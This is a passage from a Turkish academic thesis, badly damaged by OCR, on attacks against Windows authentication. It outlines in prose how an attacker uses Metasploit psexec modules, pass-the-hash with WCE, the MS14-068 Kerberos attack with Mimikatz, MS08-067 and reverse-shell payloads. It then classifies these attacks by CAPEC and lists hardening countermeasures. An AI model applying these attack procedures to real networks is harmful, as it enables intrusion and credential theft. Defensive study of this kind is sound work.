leri (Kullanici adi ve parola/arola 6zeti) Windows bilgisayarlarda TCP /445. portu agik
olan IP listesi, ‘SMB _login’ aracina verilerek diger bilgisayarlara sizilir. Saldir1 detaylar:

ekran ciktilar: ile birlikte EK E.2 konusunda verilmigtir.

2.5.3 Smb_Enumusers Domain Modiilii ile Windows Bilgisayarlarda

Jetonu Bulunan Hesaplarin Tespit Edilmesi

Windows igletim sistemi veya kullanici kaynakl tehditler sonucu yapilan saldirilarda her-
hangi bir yontemle elde edilen kimlik bilgisi (Kullanici adi ve Parola/Parola 6zeti) kulla-
nilarak ulagilabilen bilgisayarlarda oturumu agik olan veya bir gekilde ¢aligan prosesi bu-

lunan hesaplarin listesi elde edilebilir. Windows bilgisayarlarda TCP /445. portu agik olan
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IP listesi ve kullanici kimlik bilgileri kullanilarak ele gegirilmig IP listesinde bagka kullani-
cilarin jetonu olup olmadig kontrol etmek i¢in metasploit aracinin ‘smb_enumusers do
main’ auxiliary modiilii kullanilarak saldir1 yapilir. Saldir1 detaylar ekran c¢iktilar ile

birlikte EK E.3 konusunda verilmigtir.

2.5.4 MSF Psexec Istismar Modiilii ile Meterpreter Baglantis1 Elde
Etme

Tehditler sonucu yapilan saldirilarda Windows igletim sistemli bir bilgisayar herhangi bir
yontemle elde edilen kimlik bilgileri (Kullamic1 adi ve parola/parola 6zeti) kullamlarak
ulagilmaya ¢aligilir. Daha 6nceki 2.4 veya 2.2 konusunun altbagliklarinda iglenmig olan ve
elde edilen kullanic1 bilgileri (Kullanic1 adi, parola/parola 6zeti ve IP) kullamlarak ‘pse-
xec’ istismar modiilii ile ‘Meterpreter’ baglantisi saglanacaktir. ‘Msfconsol’ ¢aligtirilarak
‘psexec’ istismar modiiliine girilir. Elde edilen IP, kullanici ad:1 ve parola bilgileri psexec
modiiliiniin ayarlarina girilir. Modiil exploit edilerek hedef bilgisayarda baglant1 saglanir.

Saldir1 detaylar1 ekran giktilar ile birlikte EK E.4 konusunda verilmistir.

2.5.5 Psexec Psh Istismar Modiilii ile Meterpreter Baglantis1 Elde
Etme

Windows isletim sistemi veya kullanici kaynakli tehditler sonucu yapilan saldirilarda
Windows igletim sistemli bir bilgisayarin herhangi bir yontemle elde edilen kimlik bilgileri
(Kullanicr ad1 ve Parola/Parola 6zeti) kullamlarak ulagilmaya ¢ahigihir. Daha 6nceki 2.1,
2.2 ve 2.4 konularmmin altbagliklarinda iglenen ve bu dogrultuda elde edilen kullanici
bilgileri (Kullanici Adi, Parola/Parola Ozeti ve IP) kullamlarak ‘psexec psh’ istismar
modiilii ile ‘Meterpreter’ baglantis1 saglanacaktir. ‘Psexec psh’ modiiliine girilir. Modiil
ayarlarina hedef IP, kullanici adi ve parola bilgisi eklenir. Ayarlar yapildiktan sonra modiil
exploit edilerek hedef bilgisayarda baglanti saglanir. Saldir1 detaylar1 ekran giktilar: ile
birlikte EK E.5 konusunda verilmigtir.
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2.5.6 Yonetici Parola Ozetini WCE Aracina Vererek Uzak Bilgisayarin

Komut Satirina Erigim Saglanmasi

Windows igletim sistemi veya kullanici kaynakli olugsan tehditler sonucu yapilan saldiri-
larda herhangi bir yontemle kimlik bilgileri (Kullanic1 adi ve Parola/Parola ozeti) elde
edilebilir (Bakiniz 2.2 konusunda iglendigi gibi). Elde edilen hedef bilgisayarin kullanici
bilgileri kaynak bilgisayarda da tanimlanir. Kaynak bilgisayar da tanimlanan kullanici ile
hedef bilgisayarin IP’si ‘psexec’ aracina verilerek hedef bilgisayarin komut satirina ulagi-
lir. Sonra kaynak bilgisayar mevcut kullanicist ile acilir ve komut satirindan “WCE’ araci
ile parola &zeti kontrol edilir. Ayni kullanici ile ‘“WCE’ araci kullanilarak hedef bilgisa-
yarda parola 6zeti degigtirilir. Degistirme igleminden sonra yine ‘WCE’ araci kullanilarak
hedef bilgisayarin komut satirina ulagilir. Saldir1 detaylar: ekran ¢iktilar ile birlikte EK

E.6 konusunda verilmigtir.

2.6 Pass the Ticket

Pass the Ticket konusunda; temel olarak agagidaki saldir1 yontemi kullanilabilir. Bunun

yaninda bagka saldir1 tiirleri de gergeklestirilebilir.

2.6.1 MS14-068 Kerberos Giivenlik Zafiyetinin Istismar:

2008 server R2 acikhigi olan MS14-068 istismar edilecektir. Bu agiklign Windows 2014’te
gilivenlik biiltenlerinde duyurmustu ve Windows KB3011780 giincelleme paketini yayin-
lamigtir. Paketi almamig sunuculara yonelik bu saldir1 gerceklestirilebilir. Domain Users
yetkilerinde bir kullanici elde edilir. Sonra Kali igletim sistemi iizerinden ‘Metasploit’
aracl kullanilarak ms14 068 kerberos checksum modiilii ile bu kullanic1 bilgileri kulla-
nilarak Domain Admins yetkilerinde bilet olusturulur. Bu bilet ‘Mimikatz’ araci yardim
ile hedef kullamiciya yiiklenir. Islem sonucunda Domain Users yetkilerinde ki kullamc
Domain Admins yetkilerine ulagtigindan bu kullanici ile yeni domain kullanicisi olugtu-

rulur. Saldir1 detaylar1 ekran ¢iktilar ile birlikte EK F.1 konusunda verilmigtir.
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2.7 Zafiyet Istismar1

Zaafiyet istismar1 konusunda; temel olarak asagidaki saldir1 teknik ve yontemleri kulla-

nilabilir. Bunlarin yaninda bagka saldir tiirleri de gergeklegtirilebilir.

2.7.1 MS08 067 Netapi Modiilii ile Windowsta Meterpreter Baglan-

tisinin Saglanmasi

Windows igletim sistemi veya kullanici kaynakli olugan tehditler sonucu yapilan saldi-
rilarda zafiyetlerin tespit edilmesi ile hedef sistemlerdeki baz yetkiler elde edildigi uy-
gulamali olarak anlatilmigti. Bu duruma paralel olarak Windows igletim sistemli bil-
gisayarlarin Nesus tarzi programlar ile zafiyetinin olup olmadigi tespit edilebilir. Bu
tespitler sonucu ‘MSFconsole’ aracilig: ile ¢gesitli modiillerle istismar edilebilir. Burada
XP’deki aciklign ‘ms08 067 netapi’ istismar modiilii ile gerceklegtirilecektir. Ancak bu
aciklik kullanilarak XP tizerinden Windows 7 igletim sistemi de istismar edilebilmektedir.
‘MS08 067 netapi’ modiilii ayarlar: yapilir ve galigtirihir. Bu iglem sonucunda hedef bil-
gisayarda baglanti saglanir. Saldir1 detaylar: ekran ¢iktilar ile birlikte EK G.1 konusunda

verilmigtir.

2.7.2 FreeSSHA Yiiklii Windows Bilgisayarda Meterpreter Baglantisi-

nin Saglanmasi

Windows igletim sistemi veya kullanici kaynakli olusan tehditler sonucu yapilan saldiri-
larda zafiyetlerin tespit edilmesi ile hedef sistemlerdeki baz1 yetkiler elde edildigi uygula-
mali olarak anlatilmigti. Ayni gekilde saldirganlar Windows igletim sistemli bilgisayarlar:
nesus tarzi programlar ile zafiyetinin olup olmadig: tespit edilebilirler. Bu tespit sonucu
‘MSFconsole’ araciligy ile ¢esitli modiillerle istismar etmektedirler. Bu konuda ise Win-
dows 7’deki acikligi bulunan ‘freeSSHd’ uygulamasinin ‘MSFconsole’ araciligi ile istismar
edilip, kullanic1 haklar ile ‘Meterpreter’ baglantis: elde edilecektir. Zafiyet elde edildikten
sonra ‘freesshd authbypass’ modiilii caligtirilir. Gerekli ayarlar yapildiktan sonra modiil
exploit edilerek hedef bilgisayar ile baglanti saglanilir. Saldir1 detaylar1 ekran giktilar ile
birlikte EK G.2 konusunda verilmigtir.
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2.8 Akilh Kart Saldirilar:

Akilli kart saldirilart gok genig bir konu ve belki birka¢ aragtirma konusu olma potansi-
yelindedir. Burada konu igletim sistemine yonelik saldirilar oldugundan, yapilan aragtir-
malar sonucu akilli kartlarda da bu yoniiyle tamamen bagariya ulagilmig bir saldir: elde
edilememigtir. Ancak yan kanal analizi vs birkag fiziksel ve algoritmik saldirilar mevcut-

tur. Bu saldirilar kismen bagariya ulagmistir.

O.Urhan, Kocaeli Universitesi, bu konuda ‘Temassiz Akill Kartlara Yeniden Yénlendirme
Saldirist’ geklinde gerceklegtirmigtir. Gerekli aragtirmalar: sonucu 2008 civar: bir donanim
ile bu saldirinin gerceklestirebilecegi ve tespit edilmesi zor oldugundan énlenemeyecegini

savunmaktadir [12].

E.Beydagli, Tiibitak Bilgem, Akilh kartlarda yan kanal analizi saldirisini ele almigtir.
Matematik kriptografik acidan giiclii ancak yan kanal zafiyetinin giiclendirilmediginden,

bu yolla yapilacak saldirilarin basarili oldugunu savunmaktadir[13].

2.9 Sosyal Miihendislik Saldirilari ile Isletim Sisteminde Yet-
kilerin Elde Edilmesi

Sosyal miihendislik saldirilar: ile igletim sisteminde yetkilerin elde edilmesi konusunda;
temel olarak agagidaki saldir1 teknik ve yéntemleri kullanilabilir. Bunlarin yaninda bagka

saldir1 tiirleri de gerceklestirilebilir.

2.9.1 Reverse Tcp Payload: ile Arka Kapi1 Acarak Meterpreter Calig-

tirma

Oncelikle hedefe génderilecek bir reverse _tcp payload: hazirlamilir. Hazirlandiktan sonra
uygun bir yontem ile hedef bilgisayara gonderilir. Kaynak bilgisayar kali igletim sistemi
iizerinden ‘Metasploit’ ¢aligtirilir. ‘Handler’ modiilii girilir ve ayarlar yapilarak exploit
edilir ve hedef bilgisayarin payload: caligtirmasi beklenir. Saldir1 detaylar: ekran giktilar
ile birlikte EK H.1 konusunda verilmistir.
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2.9.2 Reverse Https Payloadi ile Arka Kap1 Agarak Meterpreter Ca-

higtirma

Hedefe gonderilecek bir reverse https payloadi hazirlanilir. 2.9.1 konusunda ki adimlar

izlenir. Saldir1 detaylar1 ekran giktilar ile birlikte EK H.2 konusunda verilmigtir.

2.9.3 Drive-by Download

Kullanic1 bilgisi diginda hazirlanmig zararh yazilimin internet yolu ile bilgisayara bulag-
masidir. Ozellikle bu yéntem icin Activex denetiminden faydalanilir. Kullanicinin dikka-

tini gekecek veya ilgisinde bir icerik i¢in Activex denetiminin kullanmim ile gerceklegir.

[14]. Sekil 2.1 {izerinde goriildiigii gibidir.

Giovenlisiteye yonlendirir

Hacked

Yonlendir

Zararh
Site

Zararh yazihm igerikli site hazirlar{reverse https)

SEKIL 2.1: Drive-by Download Yoéntemi

2.10 Paylasima Acik Verilere Erisim Saglanmasi

2.10.1 MSF smb_enumshares Auxiliary Modiilii ile Paylagimlara Eri-

silmesi

Bilgisayarlar arasi yapilan paylagimlar iizerinden kritik bilgiler elde edilebilmektedir. Ya-
pilan bu paylagimlara ‘MSF Smb_enumshares Auxiliary’ Modiilii ve bu modiil benzeri
araclar kullanilarak erigilebilmektedir. Paylagima acik verileri elde etmek icin yapilan

saldir1 ve detaylar1 ekran ciktilar: ile birlikte EK I’de verilmistir.
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2.11 CAPEC Uyumluluguna gore Tehditler ve Saldirilarin

Siniflandirilmasi

CAPEC (Common Attack Pattern Enumeration and Classification) Ortak Saldir1 Mode-
lini Numaralama ve Siniflandirma; piyasada mevcut saldirilar simiflandirarak saldirilar
hakkinda detay bilgiler, gerekli tanimlar ve agiklamalarini yaparak saldirgan hedefinde

ki kitleleri bilgilendirir.

Saldirganlar genellikle bir metadoloji ¢ercevesinde ¢alismalarini yiiriitiirler. CAPEC ile
saldirganlarin nasil bir ¢ergevede davrandiklar1 anlagilmaya caligilmigtir. CAPEC temel
olarak zafiyetli bir sistemin nasil saldiriya ugrayabilecegini, bilinen saldir1 modellerini
(Attack Pattern) belirtir. CAPEC, bilinen saldir1 modelleri igin saldir1 tanimi, saldiri
gerceklegmesi icin ortamda veya sistemde olmasi beklenen durumlar / sartlar, saldir so-
nucu elde edilebilecek avantajlar, saldirinin ciddiyeti / énem derecesi, zayifligin tespit
yontemi, saldir1 6rnegi, saldiri ile ilgili CVE bilgileri, saldiriya kargi alinmasi gereken 6n-
lemler, bu saldin ile iligkili diger saldir1 modelleri gibi bilgileri saglayarak saldirilar1 bir
agag yapisinda siniflandirir.

Giivenli bir sistem ve uygulama ydnetimini gergeklestirmek i¢in bilinen saldir1 yontem-
lerine kargi gerekli énlemler alinmasi gerekir. CAPEC tarafindan sunulan giivenlik ¢6-
ziimleri ile en sik kargilagilan saldirilara kars: sistemlerin ve uygulamalarin bir metadoloji
cercevesinde giivenliginin saglanmasi miimkiin olur.

Bilgi giivenliginin en 6nemli bacaklarindan birisi de gergeklestirilen giivenlik mimarisinin,
planlamasimin, operasyonlarinin dogru ve diizgiin bir gekilde gerceklestirilip gerceklesti-
rilmediginin kontrol edilmesidir. Bu amacla giivenlik denetimleri gergeklegtirilir. CAPEC
tarafindan saglanan simflandirmalar, saldirilara kargi alinmasi gereken dnlemler ve sal-
dirilarin 6nem derecelendirmesi risk analizlerinde ve giivenlik denetimlerinde denetciye
metadolojik bir bakig acis1 kazandirir.

Bu tezin konusu olan Windows igletim sisteminde kimlik dogrulama siirecindeki zayiflik-
larin somiiriilmesine sebep olan saldir1 yontemleri ve bu saldirilara kargi alinmas: gereken
onlemler CAPEC ile metadolojik bakig agisi ¢ercevesinde siniflandirilmaya ¢aligilmigtir.
Tablonun ilk siitunu CAPEC ID, ikinci siitunu CAPEC kriteri ve ii¢lincii siitunu ise

kritere eg gelen saldir1 ve tehditler verilmigtir.
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TABLO 2.1: CAPEC Uyumluluguna Goére Saldir1 ve Tehditler Tablosu

CAPEC ID

CAPEC Kriteri

Yapilan Iglem

150

Collect Data from Common Resource
Locations

2.1 Fiziksel Giivenligi Atlatma, 2.2
Caligan Sistemde SAM/SYSTEM
ve Hesap Ozetlerinin Elde Edilmesi,
2.3 RAM Uzerinde Kayith Jeton-
lar1 Elde Etme, 2.4 RAM Uzerindeki
Kayith Parolalar1 Elde Etme

54

Query System for Information

2.5 Parola ve Parola Ozetleri Kul-
lanilarak Bilgisayarda Erigim Elde
Etme, 2.10 Paylagima Acik Verilere
Erigim Saglanmas:

545

Pull Data from System Resources

2.1 Fiziksel Giivenligi Atlatma, 2.2
Calisan Sistemde SAM/SYSTEM
ve Hesap Ozetlerinin Elde Edilmesi,
2.3 RAM Uzerinde Kayith Jeton-
lar1 Elde Etme, 2.4 RAM Uzerindeki
Kayith Parolalar1 Elde Etme

566

Dump Password Hashes

2.1 Fiziksel Giivenligi Atlatma, 2.2
Galigan Sistemde SAM/SYSTEM
ve Hesap Ozetlerinin Elde Edilmesi

404

Social Information Gathering Attacks

2.9 Sosyal Miihendislik Saldirilar ile
Isletim Sisteminde Yetkilerin Elde
Edilmesi

20

Encryption Brute Forcing

2.5 Parola ve Parola Ozetleri Kul-
lamlarak Bilgisayarda Erigim Elde
Etme

457

USB Memory Attacks

2.1 Fiziksel Giivenligi Atlatma

458

Flash Memory Attacks

2.1 Fiziksel Giivenligi Atlatma

115

Authentication Bypass

2.1 Fiziksel Giivenligi Atlatma, 2.7
Zafiyet Istismari, 2.9 Sosyal Miihen-
dislik Saldirmlar: ile TIsletim Siste-
minde Yetkilerin Elde Edilmesi

560

Use of Known Domain Credentials

2.5 Parola ve Parola Ozetleri Kul-
lamlarak Bilgisayarda Erigim Elde
Etme, 2.6 Pass the Ticket

561

Windows Admin Shares with Stolen
Credentials

2.5 Parola ve Parola Ozetleri Kul-
lanilarak Bilgisayarda Erigim Elde
Etme(Psexec modiili ile hedef pc
baglantilar:)

234

Hijacking a privileged process

2.2 Caligsan Sistemde SAM/SYS-
TEM ve Hesap Ozetlerinin Elde
Edilmesi, 2.3 Uzerinde Kayith Je-
tonlar1 Elde Etme, 2.4 RAM Uzerin-
deki Kayitli Parolalar1 Elde Etme,
2.9 Sosyal Miihendislik Saldirilar ile
Isletim Sisteminde Yetkilerin Elde
Edilmesi

2.12 CAPEC Uyumluluguna Géore Saldir1 ve Onlemlerin De-

gerlendirilmesi

CAPEC uyumluluguna gore yapilan saldirilar degerlenlendirildiginde gerceklegtirilme ba-

sarist oldukga yiiksektir. Ancak dnlemler alindiktan sonra ise saldirilarin bagar1 seviyesi
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diigiirilmiigtiir. Konu ile ilgili detaylandirma tablo 2.2’de verildigi gibidir.

‘CAPEC 1d(C. ID)’ siitunu, CAPEC’in yapilan saldirilara verdigi numaralandirmadar.
‘CAPEC Degerlendirmesi(C. Deg.)’ siitunu, CAPEC uyumluluguna gore saldirimin zor-
lugudur. Bu dereceler CAPEC tarafindan Zor, Orta ve Kolay olmak iizere ii¢ agamada
degerlendirilmigtir. ‘Saldirlar’ siitunu, tezde uygulamal olarak yapilan ilgili saldirilardir.
‘Onlemler’ siitunu, Tezde yapilan saldiriya kars: alinan 6nlemlerdir. ‘Onlemler Sonrasi De-
gerlendirme(O. Son. Deg.)’ siitunu, acikliga gére alman 6nlemlerin uygulandiktan sonra
ayni saldirmmin gergeklegtirilmesinde kargilagilan zorluk derecesidir. Bu dereceler CAPEC
uyumlulugu baz alinarak Zor, Orta ve kolay olmak iizere 3 asamada degerlendirilmigtir.

‘Agiklama’ siitunu ise konuya yonelik genel degerlendirmeleri igerir.
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TABLO 2.2: CAPEC Uyumluluguna Gére Saldirt ve Onlemlerin Degerlendirilmesi Tab-

losu
C. C. Saldirilar Onlemler 0. Acgiklama
ID Deg Son.
Deg.

150 Orta | 2.1 Fiziksel Giivenligi | 3.1.1 BIOS Ayarlari- | Orta | Onlem sonrasi sal-
Atlatma, 2.2 Calisan | nin yapilmasi, 3.1.9 Di- dir1 zorlagtirilmigtir
Sistemde  SAM/SYS- | ger Giivenlik Onlem-
TEM ve Hesap Ozet- | leri(Parola Politikast)
lerinin Elde Edilmesi,
2.3 Uzerinde Kayith
Jetonlar1 Elde Etme,
2.4 RAM Uzerindeki
Kayitlh Parolalar1 Elde
Etme

54 Kolay | 2.5 Parola ve Parola | 3.1.9 Diger Giivenlik | Orta | Yonetici(yetkili)
Ozetleri Kullanilarak | Onlemleri(Parola Poli- kullanicilardan kay-
Bilgisayarda Erigim | tikas1), 3.2.5.4 Yone- nakli agikliklardir
Elde Etme, 2.10 Pay- | timsel paylagimlar
lagima Acik  Verilere
Erigim Saglanmas:

545 - 2.1 Fiziksel Givenligi | 3.1.1 BIOS Ayarlari- | Zor Almman O6nlem son-
Atlatma, 2.2 Caligan | nin yapilmasi, 3.1.9 Di- rast saldirinin  ba-
Sistemde SAM/SYS- | ger Giivenlik Onlem- saritll olma seviyesi
TEM ve Hesap Ozetle- | leri(Parola Politikas), diigiiriilmiigtiir
rinin Elde Edilmesi, 2.3 | 3.1.5 Kritik Hesaplarin
RAM Uzerinde Kayith | Kullammina Dair Al-
Jetonlar1 Elde Etme, | nacak Onlemler
24 RAM Uzerindeki
Kayith Parolalar1 Elde
Etme

566 - 2.1 Fiziksel Giiven- | 3.1.1 BIOS Ayarlar- | Zor Alman 6nlem son-
ligi Atlatma, 2.2 | nn yapilmasi, 3.1.9 Di- rast saldirinin  ba-
Galisan Sistemde | ger Giivenlik Onlem- sarill olma seviyesi
SAM/SYSTEM ve | leri(Parola Politikasi), diigiiriilmiigtiir.
Hesap Ozetlerinin Elde
Edilmesi

404 - 2.9 Sosyal Miihendis- | 3.1.9 Diger Gii- | Kolay | Saldirinin baga-
lik Saldirilar: ile Isle- | venlik Onlem- rii olma  oram
tim Sisteminde Yetkile- | leri(Kullanicilarin yiiksektir.
rin Elde Edilmesi egitilmesi)
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20

Kolay

2.5 Parola ve Parola
Ozetleri  Kullamlarak
Bilgisayarda

Elde Etme

Erigim

3.1.6 Servis Giivenli-
gini Saglama, 3.1.9 Di-
ger Giivenlik Onlem-
leri(Parola Politikasi),
3.2.5.4 Yonetimsel pay-

lasimlar

Orta

Almnan onlemler

sonrast  saldirinin
bagariya ulagma
seviyesi  diigiiriil-

miigtiir.

457

2.1 Fiziksel Giivenligi
Atlatma

3.1.3  Giincellegtirme-

lerin Yapilmasinda
Saglanan Onlem-
ler(Antiviriis), 3.1.9
Diger Giivenlik Onlem-

leri(Kullanic1 Egitimi)

Kolay

Saldirinin basa-

rili  olma  orami

yiiksektir.

458

2.1 Fiziksel Giivenligi
Atlatma

3.1.3 Giincelleg-

tirmelerin Yapil-

masi(Antiviriis  prog-

rammin  giincel  tu-

tulmasi), 3.1.9 Diger
Giivenlik Onlem-
leri(Kullanic

timi),3.1.8

Egi-
Kullamici
Hesap Denetimi (User
Account Control) (Kul-
lamici Tarafli Program

kontrolii)

Kolay

Saldirinin baga-

rii  olma  oram

yiiksektir.

115

Orta

2.1 Fiziksel Giivenligi
Atlatma, 2.7 Zafiyet Is-
tismar1 2.9 Sosyal Mii-
hendislik Saldirilar: ile
Igletim Sisteminde Yet-
kilerin Elde Edilmesi

3.1.3 Giincelleme Po-
litikas1, 3.1.9
Giivenlik

leri(Parola Politikasi),
3.1.8 He-
(User
Control)

Tarafli

Diger

Onlem-

Kullanict
sap Denetimi
Account
(Kullanici
kontrolii),

Giivenlik

Program
3.1.9 Diger
Onlemleri(Kullanict

Egitimi)

Zor

Alinan onlemler

sonrasi  saldirinin
bagariya ulagma
seviyesi diigiiriil-

miigtiir.
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560 - 2.5 Parola ve Parola | 3.1.6 Servis Giivenli- | Zor Alinan onlemler
Ozetleri Kullamlarak | gini Saglama, 3.1.9 Di- sonrast  saldirinin
Bilgisayarda Erigim | ger Giivenlik Onlem- basariya ulagma
Elde Etme, 2.6 Pass | leri(Parola Politikasi), seviyesi  diigiiril-
the Ticket 3.2.5.4 Yonetimsel pay- miigtiir.

lasimlar, 3.1.3Giincel-
leme Politikasi,

561 - 2.5 Parola ve Parola | 3.1.6 Servis Giivenli- | Zor Alinan Onlemler
Ozetleri Kullamlarak | gini Saglama, 3.1.9 Di- sonrast  saldirinin
Bilgisayarda Erigim | ger Giivenlik Onlem- basariya ulagma
Elde Etme(Psexec | leri(Parola Politikasi), seviyesi  diigiiril-
modiili ile hedef pc | 3.2.5.4 Yonetimsel pay- miigtiir.
baglantilar:) lagimlar

234 Orta | 2.2 Caligan Sistemde | 3.1.6 Servis Giiven- | Orta | Alinan O6nlemler
SAM/SYSTEM ve He- | ligini Saglama, 3.1.9 sonrast  saldirinin
sap Ozetlerinin Elde | Diger Giivenlik Onlem- basariya ulagma
Edilmesi, 2.3 Uzerinde | leri(Parola Politikas, seviyesi diigiiriil-
Kayith Jetonlar1 Elde | Kullanici Egitimi), miigtir.
Etme, 2.4 RAM Uze- | 3.2.5.4 Yonetimsel
rindeki Kayith Parola- | paylasimlar, 3.1.3
lar1 Elde Etme, 2.9 Sos- | Giincelleme Politikasi
yal Miihendislik Saldi-
rilar1 ile Igletim Siste-
minde Yetkilerin Elde
Edilmesi

Not: CAPEC uyumluluguna ait kriterler [15] nolu referanstan alinmigtir.
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Onlemler

3.1 Istemci ve Etki Alania Yonelik Saldirilar: Onleme Y6n-

temleri

Windows igletim sistemlerine yonelik saldirilarin yapacag etkiyi en aza indirmek igin
cesitli onlemler alinabilir. Bu onlemler Bilgi Sistemleri Yoneticileri tarafindan saglanmasi
yeterli olmamakla birlikte kullanicinin da bu konularda egitilmesi 6nem arz etmektedir.

Bahsedilen onlemler agagida ki konu alt bagliklarinda verilmistir.

3.1.1 BIOS Ayarlarimn Yapilandirilmasiyla Saglanan Onlemler

‘Tehditler ve Saldirilar’ boliimiinde anlatildig1 {izere Konu 2.1’deki gibi yontemler ile
bilgisayar boot edilerek ve Konu 2.2’deki gibi ‘SAM’ ve ‘SYSTEM’ dosyalarina erisi-
min miimkiin oldugu gosterilmigti. Ancak bilgisayarin BIOS ayarlar1 yapilarak boot (ye-
niden baglatilarak) edebilmenin 6niine gegilebilir. BIOS ayarlarinda yapilmasi gereken
boot &zelliklerinin kapatilarak BIOS’u supervisor olarak sifrelemektir. Ancak eski bilgi-
sayarlarda bu yontemi BIOS pilini ¢ikartilarak atlatmak miimkiindiir. Bununda &niine
gecilebilmesi i¢in piyasada cesitli kilitler mevcuttur. Ayni gekilde bilgisayara kullanicilar
tarafindan fiziksel bir miidahale yapilmasini engellemek i¢in kirilgan etiketleme(Giivenlik
etiketi olarakta bilininen bu etiket, yapigtirildigi yerden cikarilmaya cahsildiginda kiigiik
parcalara ayrilir ve iz birakir. Boylece olasi bir fiziksel miidahale olup olmadigi anlagilir.)

yapilabilir. Ozellikle kurumsal alanlar icin iiretilmis business serili bilgisayarlarda BIOS

43
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sifrelemesini atlatmak oldukca ugragtirici ve atlatilmas: giic oldugundan business seriler

tercih edilmelidir [16].

BIOS ayarlarinin yapilmas: agagidaki gibidir:

e BIOS’un parola atamas: gergeklegtirilmelidir.
e Bilgisayarin sadece HDD’den baglatilabilmesi saglanmalidir.

e Fiziksel miidahalelerin 6niine ge¢mek i¢in Bitlocker tarz programlar ile HDD sif-

relenmelidir.

e Fiziksel miidahale ile BIOS pili {izerinden BIOS parolasini sifirlamay1 engellemek

icin kilit sistemler kullanilmalidir.

3.1.2 Ag Yapilandirmas: Onlemleri

Saldirt amagh yapilan ag taramalarinin etkin yapilamamasi i¢in tarama sonucunu en az
seviyeye indirecek giivenlik 6nlemleri alinmalidir. Buna dayanarak gerekli yapilandiril-

malar yapilarak agagidaki gibi ayarlar sikilagtirilmalidir.

e Ortamdaki aktif cihazlar aracilig) ile etki alanindaki bilgisayarlara olan erigimler
kontrol edilerek sadece ulagilmasi gereken IP bloklarina izin verilmelidir. Kritik
oneme sahip sunuculara yapilan ag baglantilar1 kontrollii olarak verilmeli ve port

kontrolii gerceklegtirilmelidir.

e Saldir yiizeyini daraltmak icin kullamilmayan ve kullanilmasi elzem olmayan igle-
tim sistemi servisleri devre dig1 (disable) birakilmaldir. Kritik servisleri kullanan
kullanicilar denetlenmeli, hesaplar kilitlenmeyecek gekilde optimize edilmeli (Kritik
servis hesaplar: icin kilitleme ilkesi uygulanmamalidir. Servis hesabinin parolasina
deneme saldirist yapildiginda verilen hizmetin aksamasina sebep olunabilir) , kul-
landiklar: parolalarin uzun ve karmagik olmasi saglanmali ve gerekli araliklarla

degigtirilmelidir.

e Bilgisayarlarda gerekli yetkiler elde edilip yayilma siirecinde, yonetimsel paylagim-
lar kullanilmaktadir. Bu yiizden yonetimsel paylagimlar kapatilmalidir. Etki alanin-

daki gerekli yonetimsel paylagimlar icin sadece ilgili kullanici igin yetki verilmelidir.
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Bu yiizden Windows igletim siteminin kayit defterinde (regedit) ilgili anahtar 0 ya-

pilmalidir.

HKEY LOCAL MACHINE\SYSTEM /| CurrentControlSet|Services
| LanManServer| AutoShareServer

HKEY LOCAL MACHINE|\SYSTEM | CurrentControlSet|Services
| LanManServer| AutoShare Wks

e Diger bir énlem ise giivenlik duvarinin acik tutulmasidir. Giivenlik duvar: agikken
kullanicinin bilgisayarina bagka bir bilgisayardan program ile iletigim kurdugunda
gilivenlik duvarini kullanacaktir. Bu durumda ise kullanici, iletigim kurmak isteyen
programu izin verilenler listesine eklerse iletigim gergeklegir. Bu dogrultuda kulla-
nic1 bilgisayar ile iletigim kurulacak digaridaki bilgisayarlarin hangi programlar

kullanacag1 sinirlandirilabilir.

3.1.3 Giincellestirmelerin Yapilmasinda Saglanan Onlemler

Saldirt amagh yapilan zafiyet taramalarinin etkin yapilamamasi i¢in tarama sonucunu mi-
nimum seviyeye indirecek giivenlik 6nlemleri ahinmali ve miimkiin oldugunca az bilginin
agiga ¢ikmasi icin zafiyet tarama iglemleri zorlagtirilmalidir. Bu kapsamda bilgisayarla-
rin igletim sistemlerinin ve iizerinde bulunan yazilimlarin giincel olmasi 6nemlidir. Bu

dogrultuda uygulanabilecek birkac 6nlem agagida verilmigtir.

e Bilgi sistemleri veya yonetimi tarafindan bu konu 6nemsenmeli, cesitli politikalar

iiretilip uygulanmali ve geligtirilmelidir.

e Bu dogrultuda erigim saglanan bilgisayarlar icin belirli araliklarla zafiyet taramalar:
yapimalidir. Bu iglem yapilirken tek aracla degil farkli araclarla tarama yapilip
sonuglar karsilagtirilmali olarak degerlendirilmelidir. Ayni zamanda araglarin giincel

olmasina dikkat edilmelidir.

e Saldirt tespit/onleme sistemlerinin giincelligi ve aym sekilde kullanilan anti viriis
yazilimlarinin giincel olmasina dikkat edilmeli son imzalar tagidiklarindan emin

olunmalidir.

e (esitli yontemler ile elde edilen zafiyetler belirlenen giincelleme politikalar: ¢erceve-

sinde degerlendirilmeli ve uygulanmasi karar: verilen giincellemeler merkezi olarak
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en kisa siirede biitiin bilgisayarlara dagitilmalidir. Dagitim sonrasi gerekli tarama
yapilip giincelleme alamayan cihazlarin kontrolleri saglanmali ve nedeni aragtiril-

malidar.

e Saldir yiizeyini daraltmak i¢in kurum ve kurulugun ig fonksiyonunu icra etmesi agi-

sindan gerekli yazilimlar kurulmali, diger yazilimlar kontrollii olarak yiiklenmelidir.

e Yeni giincelleme ve zafiyetlerden haberdar olmak icin cesitli yaymlar ve bloglar
takip edilmelidir. Bu tiir giincel bilgilerden haberdar olmak igin posta gruplarina

iiye olunmalidir.

3.1.4 Igletim Sistemi Imajlarinin Yénetimi Kapsaminda Onlemler

Saldir1 amagh yapilan zafiyet taramalarimin etkin yapilamamas: i¢in tarama sonucunu
minimum seviyeye indirecek giivenlik 6nlemleri alinmali ve miimkiin oldugunca az bilgi-
nin aciga cikmasi icin gerekli islemler yapilmadir. Imajlar genellikle giincel olmadigindan
siirekli giincelligi kontrol edilmeli ve giincellenmelidir. Ayrica Imaj olugturulurken yeni
bir yerel kullanic1 eklenir veya Windows igletim sisteminin default kullanicilar kullanilir.
Bu kullanicilar i¢in yeni bir parola eklenir veya default olarak birakilir. Bu o6zellikteki
imaj ilgili kurum veya kuruluslarin hemen hemen biitiin bilgisayarlarma kurulur. Imajda
gomiilii kullanict bilgileri silinmedikge veya degistirilmedik¢e imajla kurulumu yapilan
biitiin bilgisayarlar bu bilgileri barindirir. Bu yiizden imaj yolu ile kurulumu yapilan bir
bilgisayardan elde edilen kullanici bilgileri ile diger bilgisayarlarda kullanilmasini engel-
lemek igin tedbirler alinmalidir. Bu hususta dikkat edilmesi gereken durumlar agagidaki

gibidir.

e Giincelleme politikasina dikkat edilerek imajlara belirli araliklarla gerekli giincelle-
meler yapilmali. Giivenligi sikilagtirmak icin sikilagtirma iglemleri igin hazirlanan
